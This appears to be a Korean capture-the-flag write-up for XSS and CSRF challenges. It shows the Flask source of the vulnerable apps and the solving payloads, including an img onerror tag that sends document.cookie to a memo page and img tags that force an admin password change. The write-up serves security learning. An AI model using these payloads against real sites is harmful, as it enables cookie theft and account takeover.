@app.route("/vuln")
def vuln():
param = request.args.get("param", "")
return param
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html")
elif request.method == "POST":
param = request.form.get("param")
if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'
memo_text = ""
@app.route("/memo")
def memo():
global memo_text
text = request.args.get("memo", "")
memo_text += text + "\n"
return render_template("memo.html", memo=memo_text)
/flag에서 스크립트 태그가 사용가능함을 알 수 있어, HTML로 document.cookie의 위치를 다른곳으로 출력 할 수 있도록 한다.
@app.route("/")
def index():
return render_template("index.html")
@app.route("/vuln")
def vuln():
param = request.args.get("param", "").lower()
xss_filter = ["frame", "script", "on"]
for _ in xss_filter:
param = param.replace(_, "*")
return param
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html")
elif request.method == "POST":
param = request.form.get("param", "")
if not check_csrf(param):
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'
memo_text = ""
@app.route("/memo")
def memo():
global memo_text
text = request.args.get("memo", None)
if text:
memo_text += text
return render_template("memo.html", memo=memo_text)
@app.route("/admin/notice_flag")
def admin_notice_flag():
global memo_text
if request.remote_addr != "127.0.0.1":
return "Access Denied"
if request.args.get("userid", "") != "admin":
return "Access Denied 2"
memo_text += f"[Notice] flag is {FLAG}\n"
return "Ok"
script 태그가 막혀있어 img 태그를 대신 사용하여
<img src="/admin/notice_flag?userid=admin">를 넣어
/admin/notice_flag의 userid를 admin으로 바꿔준다.
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "POST":
param = request.form.get("param")
if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'
memo_text = ""
@app.route("/memo")
def memo():
global memo_text
text = request.args.get("memo", "")
memo_text += text + "\n"
return render_template("memo.html", memo=memo_text)
<img src=x onerror="fetch('/memo?memo='+document.cookie)">
필터링이 전혀 없는 순수 XSS였고, flag가 포함된 document.cookie를 memo에 저장하면 flag를 얻을 수 있다.
users = {'guest': 'guest', 'admin': FLAG}
session_storage = {}
@app.route("/vuln")
def vuln():
param = request.args.get("param", "").lower()
xss_filter = ["frame", "script", "on"]
for _ in xss_filter:
param = param.replace(_, "*")
return param
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "POST":
param = request.form.get("param", "")
session_id = os.urandom(16).hex()
session_storage[session_id] = 'admin'
if not check_csrf(param, {"name":"sessionid", "value": session_id}):
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'
@app.route("/change_password")
def change_password():
pw = request.args.get("pw", "")
session_id = request.cookies.get('sessionid', None)
try:
username = session_storage[session_id]
except KeyError:
return render_template('index.html', text='please login')
users[username] = pw
return 'Done'
<img src="/change_password?pw=iamthebestunifox">
script나 다른 태그들은 막혀있어도 img 태그로 우회하여 html을 실행시킬 수 있어, 봇이 html로 랜더링하여 실행시킬 수 있다.
| 구분 | XSS-2 | CSRF-2 |
|---|---|---|
| 취약점 유형 | XSS | CSRF (필터 우회) |
| 필터링 | 없음 | frame, script, on 치환 |
| 우회 방법 | 불필요 | <img src="...">로 우회 |
| 탈취 대상 | 쿠키(flag 값) | admin 비밀번호 변경 권한 |
| 유출 채널 | same-origin /memo 저장소 | 없음 (직접 계정 탈취) |
| 최종 목표 | /memo에서 쿠키 확인 | admin 로그인 후 flag 직접 확인 |
